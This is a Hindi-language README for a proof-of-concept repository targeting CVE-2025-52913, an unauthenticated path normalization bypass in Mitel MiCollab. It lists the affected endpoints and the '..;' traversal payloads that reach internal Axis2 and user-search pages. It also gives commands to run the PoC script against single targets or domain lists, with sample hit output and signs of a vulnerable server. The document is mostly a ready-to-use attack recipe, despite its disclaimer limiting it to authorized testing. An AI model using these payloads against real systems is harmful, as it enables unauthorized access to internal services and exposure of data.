CVE-2025-52913 - MiCollab पथ सामान्यीकरण भेद्यता

📌 अवलोकन

इस रिपॉजिटरी में CVE-2025-52913 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है, जो Mitel MiCollab को प्रभावित करने वाली एक पथ सामान्यीकरण भेद्यता है।

यह समस्या बिना प्रमाणीकरण के हमलावरों को ..; जैसे विशेष रूप से तैयार किए गए URL अनुक्रमों का उपयोग करके इच्छित पथ प्रतिबंधों को बायपास करने और आंतरिक एप्लिकेशन एंडपॉइंट्स तक पहुंच प्राप्त करने की अनुमति देती है।

⚠️ प्रभाव

सफल शोषण से निम्न हो सकता है:

• आंतरिक और प्रतिबंधित एंडपॉइंट्स तक पहुंच
• संवेदनशील एप्लिकेशन घटकों का अनावरण
• संभावित सूचना प्रकटीकरण

🎯 प्रभावित एंडपॉइंट्स

यह भेद्यता निम्नलिखित पथों के माध्यम से ट्रिगर की जा सकती है:

/npm-pwg/loginForm.jsp/
/npm-pwg/extendedUmPlayMessage.jsp/
/npm-admin/showLoginPage.do/
/npm-admin/login.do/

💣 पेलोड्स

उदाहरण ट्रैवर्सल पेलोड्स:

/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp
/..;/..;/usp/searchUsers.do

🚀 उपयोग

1. निर्भरताएँ स्थापित करें

pip install -r requirements.txt

2. एकल लक्ष्य पर चलाएँ

python3 POC-CVE-2025-52913.py example.com

3. एकाधिक लक्ष्यों पर चलाएँ

python3 POC-CVE-2025-52913.py domains.txt

🧪 उदाहरण

[*] Testing http://example.com
[+] http://example.com/npm-pwg/loginForm.jsp/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp - 200
    [!] Possible success

🔍 पहचान

एक लक्ष्य संभवतः असुरक्षित है यदि:

• सर्वर HTTP 200 के साथ प्रतिक्रिया करता है

• प्रतिक्रिया में निम्नलिखित शामिल है:

  • Axis2
  • Axis2 Happiness Page
  • आंतरिक एंडपॉइंट्स से मान्य एप्लिकेशन आउटपुट

🛠️ तकनीकी विवरण

यह भेद्यता ..; युक्त विशेष रूप से तैयार किए गए पथों के अनुचित सामान्यीकरण के कारण उत्पन्न होती है, जो इच्छित एप्लिकेशन संदर्भ से परे ट्रैवर्सल की अनुमति देती है।

यह व्यवहार निम्नलिखित आंतरिक सेवाओं को उजागर कर सकता है:

• Axis2 वेब सेवा इंटरफ़ेस
• आंतरिक उपयोगकर्ता प्रबंधन एंडपॉइंट्स

👤 खोज

Dahmani Toumi द्वारा खोजा गया

📚 संदर्भ

• CVE: CVE-2025-52913
• (उपलब्ध होने पर विक्रेता सलाह या NVD लिंक जोड़ें)

⚖️ अस्वीकरण

यह परियोजना केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है।

इस टूल का उपयोग स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध न करें। लेखक किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है।